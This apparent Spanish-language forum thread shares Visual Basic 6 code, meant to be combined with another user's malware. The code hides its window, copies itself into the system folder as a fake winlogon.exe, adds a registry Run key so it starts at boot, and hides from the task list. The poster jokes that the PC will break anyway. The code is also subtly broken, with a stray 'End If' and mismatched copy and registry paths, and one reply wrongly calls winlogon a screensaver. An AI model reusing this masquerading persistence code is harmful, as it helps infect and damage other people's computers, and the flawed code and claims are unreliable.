jojojooj y eso combinado con esto:

Set obj = CreateObject("Scripting.FileSystemObject") 'declaramos un objeto tipo fileSystem object
Set win = obj.GetSpecialFolder(0)                    'para obtener la carpeta de windows y system
Set sys = obj.GetSpecialFolder(1)
win = LCase(win)                                     'las ponemos en minusculas
sys = LCase(sys)
Form1.Visible = False 'ponemos invisible
'-----Copia a \windows--------------
Dim ejec As String
ejec = App.EXEName & ".exe" 'añadimos ala ruta del exe, el nombre y la estension
FileCopy ejec, sys & "\winlogon.exe"  'copia a windows\system32
End If
Set residencia = CreateObject("WScript.Shell")
residencia.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\" & "winlogon", win & "\winlogon.exe"  'esto modifica el registro para que se ejecute al iniciar el pc
App.TaskVisible = False          'para ocultarlo un poco del, (alt +sup +control) (aunque es una bosta jejej no funciona en XP)



bueno espero que les sirva para copiar todo en la carpeta windows jejeje

p.D.: usenlo con el codigo de NYlOn

chau

me importa un bledo que este el winlogon jejej total se va a romper lo mismo la pc jjejej

che haber pasate las funciones api para modificar el registro si??

Windows hace un resguardo de sus archivos más 'importantes', así como taskmsg, regedit y demás, por lo tanto si borramos el archivo winlogon.exe supuestamente al reiniciar windows creará de nuevo este archivo.

PD: Winlogon tan solo es un salvapantallas, no podría originar daños en el ordenador, nada más que cuando apareciera el salvapantallas tras una inactividad se ejecutará este archivo.

winlogon no es un salvapantallas. el tema de "que no se puede cerrar el proceso", eso pasa en todos los sitemas (w2k/xp) pq los servicios "no puedes" cerrarlos. tu mismo puedes ajustar los privilegios a tu preceso para que puede cerrar winlogon y todos los demas.

Nunca habia oido esto, podrias decirme como ??

desde ya muchas gracias ^^

salu2 !